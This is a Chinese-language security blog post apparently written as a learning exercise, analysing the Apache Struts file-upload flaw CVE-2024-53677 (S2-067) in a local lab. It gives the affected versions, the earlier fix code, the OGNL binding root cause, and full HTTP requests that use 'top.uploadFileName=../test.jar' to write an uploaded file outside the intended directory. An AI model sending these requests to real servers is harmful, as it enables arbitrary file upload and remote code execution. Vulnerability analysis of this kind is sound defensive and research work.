前言

学习,AI助我。


CVE-2024-53677(S2-067)

漏洞描述

CVE-2024-53677是Apache Struts框架中发现的远程代码执行(RCE)漏洞,CVSS评分高达9.5(严重)​。该漏洞源于文件上传逻辑的缺陷,攻击者可通过路径遍历攻击绕过安全限制,上传恶意文件并执行任意代码,可能导致服务器被完全控制、数据泄露等严重后果。

CVE-2024-53677是Apache Struts框架中文件上传机制的逻辑缺陷,其核心问题在于参数绑定与路径处理的不安全性。攻击者可通过构造特殊参数绕过文件名验证,将恶意文件上传至任意目录。该漏洞是S2-066漏洞的绕过变种,官方曾通过删除同名参数的方式修复旧漏洞,但新漏洞利用OGNL表达式动态修改文件名实现绕过。

漏洞影响

受影响的Apache Struts版本包括:

​Struts 2.x系列:2.0.0 - 2.5.33(已停止支持)
​Struts 6.x系列:6.0.0 - 6.3.0.2
修复版本需升级至6.4.0或更高版本,且需迁移至新的文件上传机制。

环境搭建

据说是上一个漏洞的绕过,换一下struts2版本就行:

<dependency>
  <groupId>org.apache.struts</groupId>
  <artifactId>struts2-core</artifactId>
  <version>6.3.0.2</version>
</dependency>

顺便看看上一个漏洞的修复方式,在添加上传文件参数的环节也就是这段代码:

Map<String, Parameter> newParams = new HashMap<>();
newParams.put(inputName, new Parameter.File(inputName, acceptedFiles.toArray(new UploadedFile[acceptedFiles.size()])));
newParams.put(contentTypeName, new Parameter.File(contentTypeName, acceptedContentTypes.toArray(new String[acceptedContentTypes.size()])));
newParams.put(fileNameName, new Parameter.File(fileNameName, acceptedFileNames.toArray(new String[acceptedFileNames.size()])));
ac.getParameters().appendAll(newParams);

使用的appendAll函数会先进行一次remove:

public HttpParameters appendAll(Map<String, Parameter> newParams) {
    remove(newParams.keySet());
    parameters.putAll(newParams);
    return this;
}

remove就会忽略大小写,把名字相同的参数删掉,只保留FileUploadInterceptor拿到的过滤后的文件名:

public HttpParameters remove(Set<String> paramsToRemove) {
    for (String paramName : paramsToRemove) {
        parameters.entrySet().removeIf(p -> p.getKey().equalsIgnoreCase(paramName));
    }
    return this;
}

漏洞原理

攻击者通过构造包含top.uploadFileName等OGNL表达式的参数,在参数绑定阶段动态修改文件名。例如,利用[0].top.UploadFilename绕过单文件上传场景的验证,将恶意文件名写入服务器。

漏洞分析

先测试一下aaa.bbb类型的参数会怎么绑定:

POST /struts2_upload_war_exploded/upload.action?aaa.bbb=test HTTP/1.1
Host: www.test.local:8080
Cache-Control: max-age=0
Referer: http://www.test.local:8080/struts2_upload_war_exploded/
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1QfPbi7wUsDuglB1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Upgrade-Insecure-Requests: 1
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Origin: http://www.test.local:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 Edg/133.0.0.0
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=E88CE6974708C3CF0F165E2AC2C36CC1
Content-Length: 194

------WebKitFormBoundary1QfPbi7wUsDuglB1
Content-Disposition: form-data; name="upload"; filename="test.TXT"
Content-Type: text/plain

flag{test}
------WebKitFormBoundary1QfPbi7wUsDuglB1--

调试发现struts2会将参数名作为一句ognl表达式来处理:

ognlUtil.setValue(expr, context, root, value);

而root作为ognl数据栈,被访问的UploadAction可以被ognl表达式的top关键词访问,因此可以通过传递top.uploadFileName参数的方式来修改上传文件名:

POST /struts2_upload_war_exploded/upload.action?top.uploadFileName=../test.jar HTTP/1.1
Host: www.test.local:8080
Cache-Control: max-age=0
Referer: http://www.test.local:8080/struts2_upload_war_exploded/
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1QfPbi7wUsDuglB1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Upgrade-Insecure-Requests: 1
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Origin: http://www.test.local:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 Edg/133.0.0.0
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=E88CE6974708C3CF0F165E2AC2C36CC1
Content-Length: 194

------WebKitFormBoundary1QfPbi7wUsDuglB1
Content-Disposition: form-data; name="Upload"; filename="test.TXT"
Content-Type: text/plain

flag{test}
------WebKitFormBoundary1QfPbi7wUsDuglB1--

需要注意的一点是TreeMap的排序问题,如果将上传name改为upload就会导致覆盖失败,或者像参考文章那样直接将name改为top.uploadFileName应该也是可行的。

总结

好使,爱使,多使。


参考

深度解析 Struts2 漏洞 CVE - 2024 - 53677:原理、利用与修复全攻略


Web Java Struts2

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

高版本下的JNDI注入学习
CVE-2023-50164(S2-066)学习